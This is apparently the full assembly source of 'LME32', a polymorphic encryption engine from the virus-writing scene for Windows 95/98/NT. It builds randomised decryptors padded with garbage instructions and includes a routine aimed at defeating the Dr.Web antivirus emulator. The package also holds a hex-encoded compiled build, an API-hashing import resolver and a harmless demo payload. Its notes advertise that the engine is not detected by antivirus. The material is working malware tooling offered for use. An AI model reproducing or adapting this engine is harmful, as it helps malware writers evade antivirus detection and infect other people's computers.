; LME32 version 1.0
;
; may be used in windows 95/98/nt programs
;
; see lme32.inc
;
; must be in r/w section
;
; (c) LordDark [MATRiX]

addreg macro reg
       push eax
       movzx eax, reg
       btr [ebp.free], eax
       pop eax
       endm

remreg macro reg
       push eax
       movzx eax, reg
       bts [ebp.free], eax
       pop eax
       endm


zcall macro name
      extrn &name&: proc
      call name
      endm
locals __
.386
.model flat, pascal
.data

engine proc
       pushad
       call engine_start
delta:
       dd offset rnd
random equ 4 ptr [ebp.delta]
       db '['
       db 'LME32.'
       db el/1000 mod 10 + '0'
       db el/100  mod 10 + '0'
       db el/10   mod 10 + '0'
       db el/1    mod 10 + '0'
engine_start:
       pop ebp
       sub ebp, offset delta
       shr ecx, 2 ; / 4
       inc ecx  
       mov 4 ptr [ebp._ecx], ecx
       mov 4 ptr [ebp._edi], edi
       mov 4 ptr [ebp._esi], esi
       mov 4 ptr [ebp.free], (not REG_ESP) and 255
       lea esi, [ebp.randomb]
       call gen_garbage
       mov al, 3
       call esi
       inc eax
       xchg eax, ecx
__l:   push ecx
       call drweb_anti 
       pop ecx
       loop __l
       ;;; get delta
       mov al, 0E8h
       stosb
       sub eax, eax
       stosd
       mov eax, edi
       sub eax, [ebp._edi]
       mov 4 ptr [ebp._delta], eax
       ;;; pop delta
       call gen_garbage
       call free_reg
       mov [ebp.reg1], al
       addreg al
       or al, 58h
       stosb  
       ;;; mov reg, xxx
       call free_reg
       addreg al
       mov [ebp.reg2], al
       mov edx, 4 ptr [ebp._ecx]
       call load
       ;;; sub/add delta
       call gen_garbage
       call cannt_be_call
       push -1
       pop eax
       call random
       mov [ebp.sub_delta], eax
       mov al, 81h
       stosb
       call boolean
       mov al, 0E8h
       jz __1
       mov al, 0C0h  
__1:   pushf 
       or al, [ebp.reg1]
       stosb
       mov [ebp.save1], edi
       db 0B8h
sub_delta dd 0
       stosd
       popf
       jz __2
       neg 4 ptr [ebp.sub_delta]
__2:   ;;; crypt/decrypt
       call gen_garbage 
       mov al, 3
       call esi
       add eax, eax
       mov ebx, 4 ptr [ebp.eax+decrypt]
       mov 2 ptr [ebp.com_crypt], bx
       mov eax, 4 ptr [ebp.eax+crypt]
       or ah, 1 ptr [ebp.reg1]
       stosw
       mov [ebp+save2], edi
       stosd
       push -1
       pop eax
       call random
       mov [ebp.key], eax
       stosd
       ;;; add reg, 4
       call gen_garbage	     
       mov al, 83h
       stosb
       call boolean
       mov ax, 4C0h
       jz __3
       mov ax, 0FCE8h
__3:   or al, 0
reg1   equ 1 ptr $-1
       stosw
       ;;; inc ecx
       call gen_garbage
       mov al, 48h
       or al, [ebp.reg2]
       stosb
       ;;; cmp 
       call gen_garbage 
       call cannt_be_call
       mov al, 3
       call esi
       lea ebx, [ebp.is_zero]
       xlat
       stosb
       mov al, [ebp.reg2]
       shl al, 3
       or al, 0
reg2   equ 1 ptr $-1
       or al, 0C0h
       stosb
       ;;; jz
       mov ax, 850Fh
       stosw
       db 0B8h
save1  dd ?
       sub eax, edi
       stosd
       ;;; end
       remreg <byte ptr [ebp.reg1]>
       remreg <byte ptr [ebp.reg2]>
       call gen_garbage
       call cannt_be_call
       mov eax, edi
       sub eax, [ebp._edi]
       sub eax, 1234567h
_delta equ 4 ptr $-4
       add eax, [ebp.sub_delta]
       mov edx, 0
save2  equ 4 ptr $-4
       mov 4 ptr [edx], eax
       ;;;
       mov esi, 0
_esi   equ 4 ptr $-4
       mov ecx, 0
_ecx   equ 4 ptr $-4
       mov edx, 0
key    equ 4 ptr $-4
__loop:
       lodsd
com_crypt dw 9090h
       stosd
       loop __loop           
       mov eax, edi
       sub eax, 1234567h
_edi   equ 4 ptr $-4
       mov 4 ptr [esp.1Ch], eax
       popad
       ret
       endp

crypt:
     db 81h,0B0h
     db 81h,080h
     db 81h,0A8h
decrypt:
     xor eax, edx
     sub eax, edx
     add eax, edx
is_zero:
       db 85h
       db 23h
       db 0Bh      

load    proc
        call boolean
        jz __1
        or al, 0B8h
        stosb
        xchg eax, edx
        stosd
        ret
__1:    push eax
        mov al, 68h
        stosb
        xchg eax, edx
        stosd
        pop eax
        or al, 58h
        stosb
        ret  
        endp

boolean proc 
        push eax
        mov al, 2
        call esi
        test eax, eax
        pop eax
        ret
        endp

REG_ESP  equ  00000010h

free_reg:
      push ebx
__1:
      mov al, 8
      call esi
      db 0BBh
free dd 0
      bt ebx, eax
      jnc __1
      pop ebx
      ret


randomb:
    movzx eax, al
    jmp random

no_change_reg  = 0
change_one_reg = 1
change_two_reg = 2
no_prefix      = 111111b
yes_prefix     = 0

grb macro p1,p2,p3,p4
    db p1
    dw offset &p2&-engine
    db (p3 shl 6) or p4
    endm

gen_xxx proc
     ; al - reg1
     ; ah - reg2
     or ah, 0C0h
     shl al, 3
     or al, ah 
     stosb
     ret 
     endp

gen_inc proc
     ; al - reg
     or [edi-1], al
     ret
     endp

gen_shr proc
     or al, 0C0h
     stosb
__1:
     mov al, 8
     call esi
     cmp al, 6
     jz __1
     shl al, 3
     or [edi-1], al
     ret
     endp

gen_dshr proc
     ; al - reg1
     ; ah - reg2
     or al, 0C0h
     shl ah, 3
     or al, ah
     stosb
     mov al, -1
     call esi
     stosb
     ret 
     endp

garbage_table:
     grb 10001011b,gen_xxx,change_one_reg,no_prefix
     grb 10110111b,gen_xxx,change_one_reg,yes_prefix
     grb 10111111b,gen_xxx,change_one_reg,yes_prefix
     grb 10000111b,gen_xxx,change_two_reg,no_prefix
     grb 00000011b,gen_xxx,change_one_reg,no_prefix
     grb 00010011b,gen_xxx,change_one_reg,no_prefix
     grb 00100011b,gen_xxx,change_one_reg,no_prefix
     grb 00001011b,gen_xxx,change_one_reg,no_prefix
     grb 00101011b,gen_xxx,change_one_reg,no_prefix  
     grb 00011011b,gen_xxx,change_one_reg,no_prefix
     grb 00110011b,gen_xxx,change_one_reg,no_prefix
     grb 01000000b,gen_inc,change_one_reg,no_prefix
     grb 01001000b,gen_inc,change_one_reg,no_prefix     
     grb 00111001b,gen_xxx,no_change_reg,no_prefix
     grb 10000101b,gen_xxx,no_change_reg,no_prefix
     grb 11010001b,gen_shr,change_one_reg,no_prefix
     grb 11010011b,gen_shr,change_one_reg,no_prefix
     grb 10100100b,gen_dshr,change_one_reg,yes_prefix
     grb 10101100b,gen_dshr,change_one_reg,yes_prefix
     grb 11001000b,gen_inc,change_one_reg,yes_prefix
     grb 10101011b,gen_xxx,change_two_reg,yes_prefix ;* 
     grb 10110011b,gen_xxx,change_two_reg,yes_prefix ;*
     grb 10111011b,gen_xxx,change_two_reg,yes_prefix ;*
len_garbage_table = ($-garbage_table)/4

drweb_anti proc
     call cannt_be_call
     mov eax, 36FF6764h
     stosd
     sub eax, eax
     stosw
     call gen_garbage
     call cannt_be_call
     mov al, 0E8h
     stosb
     stosd
     push edi
     call gen_garbage
     call cannt_be_call
     mov eax, 068F6764h
     stosd
     sub eax, eax
     stosw
     call gen_garbage 
     call cannt_be_call
     mov al, 0E9h
     stosb
     stosd
     mov edx, edi
     call gen_garbage
     call cannt_be_call
     pop eax
     mov ebx, edi
     sub ebx, eax
     mov 4 ptr [eax.-4], ebx
     call gen_garbage
     call cannt_be_call
     mov eax, 068F6764h
     stosd
     sub eax, eax
     stosw
     call gen_garbage 
     call cannt_be_call
     mov eax, 26FF6764h
     stosd
     sub eax, eax
     stosw
     call gen_garbage
     mov al, -1
     call esi
     stosb
     call gen_garbage
     mov eax, edi
     sub eax, edx
     mov 4 ptr [edx.-4], eax
     ret 
     endp

gen_garbage proc
    mov al, 5
    call esi
    inc eax
    xchg ecx, eax
__1:push ecx
    call garbage
    pop ecx
    loop __1  
    ret  
    endp

cannt_be_call proc
    cmp 1 ptr [ebp.is_call], 1
    jnz __1
    call make_end_call
__1:
    ret
    endp

garbage proc
    mov al, 4
    call esi
    and al, al
la_path:
    jnz __X
make_end_call:     
    db 0B0h
is_call db 0
    test al, al
    jnz __X1
    inc 1 ptr [ebp.is_call]
    mov al, 0E8h
    stosb
    mov 4 ptr [__DI.ebp], edi
    stosd
    jmp __X   
__X1:
    call free_reg
    or al, 0B8h
    stosb
    db 0B8h
__DI   dd 0
    mov ebx, edi
    sub ebx, eax
    push edi
    xchg eax, edi
    xchg eax, ebx
    sub eax, 4
    stosd
    pop edi
    mov al, 0C3h
    stosb
    push -1
    pop eax
    call random
    stosw
    shr eax, 10h
    stosb
    dec 1 ptr [ebp.is_call]       
__X:
    mov al, len_garbage_table+3
    call esi
    cmp al, len_garbage_table+2
    jnz __one
    call end_table
    one_byte:
    clc
    cld
    cli
    cmc
    sti
    nop
    stc
    std
    sahf
    ob_len = ($-one_byte)
end_table:
    pop ebx
    mov al, ob_len
    call esi
    xlat
    stosb
    ret 
__one:
    cmp al, len_garbage_table+1
    jnz __mov
    push edx
    push -1
    pop eax
    call random
    xchg eax, edx
    call free_reg
    call load
    pop edx
    ret
__mov:
    cmp al, len_garbage_table 
    jnz __lea
    mov al, 10001101b
    stosb
__1x:
    call free_reg
    cmp al, 5 ; EBP
    jz __1x
    shl al, 3
    or  al, 5
    stosb
    push -1
    pop eax
    call random
    stosd    
    ret
__lea:
    lea ebx, [eax*4+garbage_table+ebp] 
    call boolean
    jz __66
    mov al, 66h
    stosb
__66:
    test 1 ptr [ebx.3], 00111111b
    jnz __1
    mov al, 0Fh
    stosb
__1: 
    mov al, [ebx]
    stosb
    mov al, [ebx.3]
    and al, not 111111b
    cmp al, 0
    jnz __2
    mov al, 8
    call random
    mov cl, al 
    mov al, 8
    call random
    mov ah, cl
    jmp __3
__2:
    cmp al, 01000000b 
    jnz __4
    call free_reg
    mov cl, al
    mov al, 8
    call random
    mov ah, al
    mov al, cl
    jmp __3
__4:
    call free_reg
    mov cl, al
    call free_reg
    cmp al, cl
    jz __4
    mov ah, cl 
__3:
    movzx ebx, 2 ptr [ebx.1]
    lea ebx, [ebp+engine+ebx]
    call ebx
    ret
    endp

el = ($-engine)

.code

start:

     sub ebp, ebp
     call randomize
     mov seed, eax
     lea esi, engine
     lea edi, place
     mov ecx, el
     cld
     rep movsb
     ; first layer
     lea edi, buffer
     lea esi, _test
     mov ecx, (len_test+3)/4
     call place
     push 10
     pop ecx
     ; generation 10 layers
__1:
     push ecx
     mov esi, edi
     add edi, eax
     xchg eax, ecx
     call place
     pop ecx
     loop __1
     push eax edi
;     call edi
     sti
     lea edx, file
     mov ecx, 20h
     mov ah, 3Ch
     call dos
     xchg eax, ebx
     pop edx   ; if u wanna may dump         
     pop ecx   ; crypt progy

     IFDEF progy
     lea edx, engine 
     mov ecx, el 
     ENDIF
     
     mov ah, 40h
     call dos
     mov ah, 3eh
     call dos
     push 0
     zcall ExitProcess

dos: 
    ; exist only in w95/w98
    push ecx
    push eax
    push 002a0010h
    mov  eax, 0BFF713D4h
    call eax  
    ret

file    db 'lme32.bin',0


randomize:
    sub esp, 16
    push esp
    zcall GetSystemTime
    mov eax, esp
    sub esp, 8
    push esp
    push eax
    zcall SystemTimeToFileTime
    mov eax, [esp]
    xor eax, [esp.4] 
    add esp, 24
    ret

rnd proc pascal
    push ebp
    push edx ecx eax
    call $+5
$delta:
    pop ebp
    sub ebp, offset $delta
    db 0B8h
seed   dd ?
    imul eax, eax, 8088405h
    inc eax
    mov [ebp.seed], eax
    pop ecx
    xor edx, edx
    jecxz __1
    div ecx
__1:
    xchg eax, edx 
    pop ecx edx
    pop ebp
    ret 
    endp

_test:
    ; dummy progy
    ; see lme32_~1.exe
    include import.inc
    call $+5
deltaz:
    pop ebp
    sub ebp, offset deltaz
    mov ebx, [esp]
    sub bx, bx
__1:
    sub ebx, 10000h
    cmp 2 ptr [ebx], 'ZM'
    jnz __1
    call import
    push 0
    lea eax, [ebp.msg1]
    push eax
    lea eax, [ebp.msg2]
    push eax
    push 0
    call 4 ptr [ebp.MessageBoxA]
    lea ebp, [esp+13Ch]
    ret 
import_table:
    import_beg user32.dll
    import_nam MessageBoxA
    import_end
    import_end  
    include imprt.inc
msg1 db 'Hello',0
msg2 db 'I''am started!',0
len_test = ($-_test)

.data
place: db el dup (00h)
buffer: db 100*1024 dup (?)

end start

--[Import.inc]---------------------------------------------------------------->8


CRC32_init	equ 0EDB88320h
CRC32_num       equ 0FFFFFFFFh   

CRC32	macro	string
	    crcReg = CRC32_num
	    irpc    _x,<string>
		ctrlByte = '&_x&' xor (crcReg and 0FFh)
		crcReg = crcReg shr 8
		rept 8
		    ctrlByte = (ctrlByte shr 1) xor (CRC32_init * (ctrlByte and 1))
		endm
		crcReg = crcReg xor ctrlByte
	    endm
	    dd	crcReg
endm

import_beg macro kernel
           db '&kernel&',0
           endm
import_nam macro name
           CRC32 &name&
           local b
           b=0
           irpc a,<name>
               IF b EQ 0 
                  db '&a&'
               ENDIF
               b=b+1
           endm
&name&     dd    0       
           endm 
import_end macro 
           dd 0
           endm

--[Imprt.inc]----------------------------------------------------------------->8

import:
    ; ebx - K32 base
    mov eax, 0
    org $-4
    CRC32 GetModuleHandleA
    mov dl, 'G' 
    call get_proc
    mov 4 ptr [ebp+GetModuleHandleA], eax
    mov eax, 0
    org $-4
    CRC32 LoadLibraryA 
    mov dl, 'L' 
    call get_proc
    mov 4 ptr [ebp+LoadLibraryA], eax
    lea esi, [ebp+import_table]
import_spec:
__5:
    push esi
    call [ebp+GetModuleHandleA]
    test eax, eax
    jnz  __3
    push esi
    call [ebp+LoadLibraryA]
__3:
    xchg eax, ebx
__4:
    lodsb
    test al, al
    jnz __4 
__2: 
    lodsd
    test eax, eax
    jz  __1
    mov dl, [esi]
    inc esi
    push esi 
    call get_proc
    pop  esi
    mov 4 ptr [esi], eax
    lodsd
    jmp __2
__1:
    cmp 4 ptr [esi], 0
    jnz __5 
    ret  

get_proc proc
    push ebx ebp
    ; ebx - CRC32
    ; eax - DLL offset
    ; dl  - first char
    mov edi, [ebx+3Ch]
    mov edi, [edi+78h+ebx]
    mov ecx, [edi+18h+ebx]
    mov esi, [edi+20h+ebx]
__1:
    mov ebp, [esi+ebx]
    add ebp, ebx
    cmp 1 ptr [ebp], dl
    jnz __2
    push ebx ecx
    ; use ebx, ecx
    ; ebp - offset to name'z
    push -1
    pop ebx
__5:
    xor bl, 1 ptr [ebp]  
    inc ebp
    push 8
    pop ecx
__3:
    shr ebx, 1
    jnc __4
    xor ebx, CRC32_init
__4: 
    loop __3
    cmp  1 ptr [ebp], 0
    jnz __5
    cmp eax, ebx
    pop ecx ebx
    jz __6
__2:
    add esi, 4   
    loop __1  
__6:
    sub ecx, [edi+18h+ebx]
    neg ecx
    add ecx, ecx
    add ecx, [edi+24h+ebx]
    add ecx, ebx
    movzx ecx, 2 ptr [ecx]
    shl ecx, 2
    add ecx, [edi+1Ch+ebx]
    mov eax, [ecx+ebx]
    add eax, ebx
    pop ebp ebx
    ret
    endp

GetModuleHandleA  dd 0 
LoadLibraryA      dd 0

--[lme32.inc]----------------------------------------------------------------->8


; lme32 v.1.0
;
; must be in write/read section. if u use it in HLL 
; alloc some mem copy engine to it and use!
;
; - save regs
; - may be many laeyrs
; - dont detect by AV
; - small only 1173 bytes
; - max decryptor ~ 2000 bytes
;
; IN
; esi - sourece
; edi - buffer
; ecx - length
;
; OUT
; eax - lenght
;

lme32:
db  060h,0E8h,00Fh,000h,000h,000h
random_offset dd ?
db  05Bh,04Ch,04Dh,045h
db  033h,032h,02Eh,031h,031h,037h,033h,05Dh,081h,0EDh,006h,020h,040h,000h
db  0C1h,0E9h,002h,041h,089h,08Dh,0D3h,021h,040h,000h,089h,0BDh,0E5h,021h
db  040h,000h,089h,0B5h,0CEh,021h,040h,000h,0C7h,085h,025h,022h,040h,000h
db  0EFh,000h,000h,000h,08Dh,0B5h,030h,022h,040h,000h,0E8h,00Fh,003h,000h
db  000h,0B0h,003h,0FFh,0D6h,040h,091h,051h,0E8h,070h,002h,000h,000h,059h
db  0E2h,0F7h,0B0h,0E8h,0AAh,02Bh,0C0h,0ABh,08Bh,0C7h,02Bh,085h,0E5h,021h
db  040h,000h,089h,085h,0BCh,021h,040h,000h,0E8h,0E7h,002h,000h,000h,0E8h
db  0ABh,001h,000h,000h,088h,085h,046h,021h,040h,000h,050h,00Fh,0B6h,0C0h
db  00Fh,0B3h,085h,025h,022h,040h,000h,058h,00Ch,058h,0AAh,0E8h,091h,001h
db  000h,000h,050h,00Fh,0B6h,0C0h,00Fh,0B3h,085h,025h,022h,040h,000h,058h
db  088h,085h,077h,021h,040h,000h,08Bh,095h,0D3h,021h,040h,000h,0E8h,053h
db  001h,000h,000h,0E8h,0A6h,002h,000h,000h,0E8h,0B1h,002h,000h,000h,06Ah
db  0FFh,058h,0FFh,095h,006h,020h,040h,000h,089h,085h,0E1h,020h,040h,000h
db  0B0h,081h,0AAh,0E8h,04Ah,001h,000h,000h,0B0h,0E8h,074h,002h,0B0h,0C0h
db  09Ch,00Ah,085h,046h,021h,040h,000h,0AAh,089h,0BDh,082h,021h,040h,000h
db  0B8h,0C5h,015h,0DEh,025h,0ABh,09Dh,074h,006h,0F7h,09Dh,0E1h,020h,040h
db  000h,0E8h,062h,002h,000h,000h,0B0h,003h,0FFh,0D6h,003h,0C0h,08Bh,09Ch
db  005h,0F5h,021h,040h,000h,066h,089h,09Dh,0DDh,021h,040h,000h,08Bh,084h
db  005h,0EFh,021h,040h,000h,00Ah,0A5h,046h,021h,040h,000h,066h,0ABh,089h
db  0BDh,0C7h,021h,040h,000h,0ABh,06Ah,0FFh,058h,0FFh,095h,006h,020h,040h
db  000h,089h,085h,0D8h,021h,040h,000h,0ABh,0E8h,023h,002h,000h,000h,0B0h
db  083h,0AAh,0E8h,0DBh,000h,000h,000h,066h,0B8h,0C0h,004h,074h,004h,066h
db  0B8h,0E8h,0FCh,00Ch,001h,066h,0ABh,0E8h,008h,002h,000h,000h,0B0h,048h
db  00Ah,085h,077h,021h,040h,000h,0AAh,0E8h,0FAh,001h,000h,000h,0E8h,005h
db  002h,000h,000h,0B0h,003h,0FFh,0D6h,08Dh,09Dh,0FBh,021h,040h,000h,0D7h
db  0AAh,08Ah,085h,077h,021h,040h,000h,0C0h,0E0h,003h,00Ch,006h,00Ch,0C0h
db  0AAh,066h,0B8h,00Fh,085h,066h,0ABh,0B8h,0D0h,09Fh,040h,000h,02Bh,0C7h
db  0ABh,050h,00Fh,0B6h,085h,046h,021h,040h,000h,00Fh,0ABh,085h,025h,022h
db  040h,000h,058h,050h,00Fh,0B6h,085h,077h,021h,040h,000h,00Fh,0ABh,085h
db  025h,022h,040h,000h,058h,0E8h,0A8h,001h,000h,000h,0E8h,0B3h,001h,000h
db  000h,08Bh,0C7h,02Bh,085h,0E5h,021h,040h,000h,02Dh,090h,001h,000h,000h
db  003h,085h,0E1h,020h,040h,000h,0BAh,0E0h,09Fh,040h,000h,089h,002h,0BEh
db  047h,08Ah,040h,000h,0B9h,0F5h,004h,000h,000h,0BAh,0C7h,009h,03Bh,03Fh
db  0ADh,033h,0C2h,0ABh,0E2h,0FAh,08Bh,0C7h,02Dh,017h,09Eh,040h,000h,089h
db  044h,024h,01Ch,061h,0C3h,081h,0B0h,081h,080h,081h,0A8h,033h,0C2h,02Bh
db  0C2h,003h,0C2h,085h,023h,00Bh,0E8h,013h,000h,000h,000h,074h,006h,00Ch
db  0B8h,0AAh,092h,0ABh,0C3h,050h,0B0h,068h,0AAh,092h,0ABh,058h,00Ch,058h
db  0AAh,0C3h,050h,0B0h,002h,0FFh,0D6h,085h,0C0h,058h,0C3h,053h,0B0h,008h
db  0FFh,0D6h,0BBh,0EFh,000h,000h,000h,00Fh,0A3h,0C3h,073h,0F2h,05Bh,0C3h
db  00Fh,0B6h,0C0h,0FFh,0A5h,006h,020h,040h,000h,080h,0CCh,0C0h,0C0h,0E0h
db  003h,00Ah,0C4h,0AAh,0C3h,008h,047h,0FFh,0C3h,00Ch,0C0h,0AAh,0B0h,008h
db  0FFh,0D6h,03Ch,006h,074h,0F8h,0C0h,0E0h,003h,008h,047h,0FFh,0C3h,00Ch
db  0C0h,0C0h,0E4h,003h,00Ah,0C4h,0AAh,0B0h,0FFh,0FFh,0D6h,0AAh,0C3h,08Bh
db  039h,002h,07Fh,0B7h,039h,002h,040h,0BFh,039h,002h,040h,087h,039h,002h
db  0BFh,003h,039h,002h,07Fh,013h,039h,002h,07Fh,023h,039h,002h,07Fh,00Bh
db  039h,002h,07Fh,02Bh,039h,002h,07Fh,01Bh,039h,002h,07Fh,033h,039h,002h
db  07Fh,040h,043h,002h,07Fh,048h,043h,002h,07Fh,039h,039h,002h,03Fh,085h
db  039h,002h,03Fh,0D1h,047h,002h,07Fh,0D3h,047h,002h,07Fh,0A4h,059h,002h
db  040h,0ACh,059h,002h,040h,0C8h,043h,002h,040h,0ABh,039h,002h,080h,0B3h
db  039h,002h,080h,0BBh,039h,002h,080h,0E8h,09Eh,000h,000h,000h,0B8h,064h
db  067h,0FFh,036h,0ABh,02Bh,0C0h,066h,0ABh,0E8h,07Fh,000h,000h,000h,0E8h
db  08Ah,000h,000h,000h,0B0h,0E8h,0AAh,0ABh,057h,0E8h,070h,000h,000h,000h
db  0E8h,07Bh,000h,000h,000h,0B8h,064h,067h,08Fh,006h,0ABh,02Bh,0C0h,066h
db  0ABh,0E8h,05Ch,000h,000h,000h,0E8h,067h,000h,000h,000h,0B0h,0E9h,0AAh
db  0ABh,08Bh,0D7h,0E8h,04Ch,000h,000h,000h,0E8h,057h,000h,000h,000h,058h
db  08Bh,0DFh,02Bh,0D8h,089h,058h,0FCh,0E8h,03Ah,000h,000h,000h,0E8h,045h
db  000h,000h,000h,0B8h,064h,067h,08Fh,006h,0ABh,02Bh,0C0h,066h,0ABh,0E8h
db  026h,000h,000h,000h,0E8h,031h,000h,000h,000h,0B8h,064h,067h,0FFh,026h
db  0ABh,02Bh,0C0h,066h,0ABh,0E8h,012h,000h,000h,000h,0B0h,0FFh,0FFh,0D6h
db  0AAh,0E8h,008h,000h,000h,000h,08Bh,0C7h,02Bh,0C2h,089h,042h,0FCh,0C3h
db  0B0h,005h,0FFh,0D6h,040h,091h,051h,0E8h,013h,000h,000h,000h,059h,0E2h
db  0F7h,0C3h,080h,0BDh,07Eh,023h,040h,000h,001h,075h,005h,0E8h,009h,000h
db  000h,000h,0C3h,0B0h,004h,0FFh,0D6h,022h,0C0h,075h,049h,0B0h,000h,084h
db  0C0h,075h,012h,0FEh,085h,07Eh,023h,040h,000h,0B0h,0E8h,0AAh,089h,0BDh
db  09Eh,023h,040h,000h,0ABh,0EBh,031h,0E8h,085h,0FEh,0FFh,0FFh,00Ch,0B8h
db  0AAh,0B8h,0FAh,09Fh,040h,000h,08Bh,0DFh,02Bh,0D8h,057h,097h,093h,083h
db  0E8h,004h,0ABh,05Fh,0B0h,0C3h,0AAh,06Ah,0FFh,058h,0FFh,095h,006h,020h
db  040h,000h,066h,0ABh,0C1h,0E8h,010h,0AAh,0FEh,08Dh,07Eh,023h,040h,000h
db  0B0h,01Ah,0FFh,0D6h,03Ch,019h,075h,016h,0E8h,009h,000h,000h,000h,0F8h
db  0FCh,0FAh,0F5h,0FBh,090h,0F9h,0FDh,09Eh,05Bh,0B0h,009h,0FFh,0D6h,0D7h
db  0AAh,0C3h,03Ch,018h,075h,017h,052h,06Ah,0FFh,058h,0FFh,095h,006h,020h
db  040h,000h,092h,0E8h,027h,0FEh,0FFh,0FFh,0E8h,001h,0FEh,0FFh,0FFh,05Ah
db  0C3h,03Ch,017h,075h,01Dh,0B0h,08Dh,0AAh,0E8h,014h,0FEh,0FFh,0FFh,03Ch
db  005h,074h,0F7h,0C0h,0E0h,003h,00Ch,005h,0AAh,06Ah,0FFh,058h,0FFh,095h
db  006h,020h,040h,000h,0ABh,0C3h,08Dh,09Ch,085h,067h,022h,040h,000h,0E8h
db  0EAh,0FDh,0FFh,0FFh,074h,003h,0B0h,066h,0AAh,0F6h,043h,003h,03Fh,075h
db  003h,0B0h,00Fh,0AAh,08Ah,003h,0AAh,08Ah,043h,003h,024h,0C0h,03Ch,000h
db  075h,016h,0B0h,008h,0FFh,095h,006h,020h,040h,000h,08Ah,0C8h,0B0h,008h
db  0FFh,095h,006h,020h,040h,000h,08Ah,0E1h,0EBh,02Bh,03Ch,040h,075h,015h
db  0E8h,0BAh,0FDh,0FFh,0FFh,08Ah,0C8h,0B0h,008h,0FFh,095h,006h,020h,040h
db  000h,08Ah,0E0h,08Ah,0C1h,0EBh,012h,0E8h,0A5h,0FDh,0FFh,0FFh,08Ah,0C8h
db  0E8h,09Eh,0FDh,0FFh,0FFh,03Ah,0C1h,074h,0F0h,08Ah,0E1h,00Fh,0B7h,05Bh
db  001h,08Dh,09Ch,01Dh,000h,020h,040h,000h,0FFh,0D3h,0C3h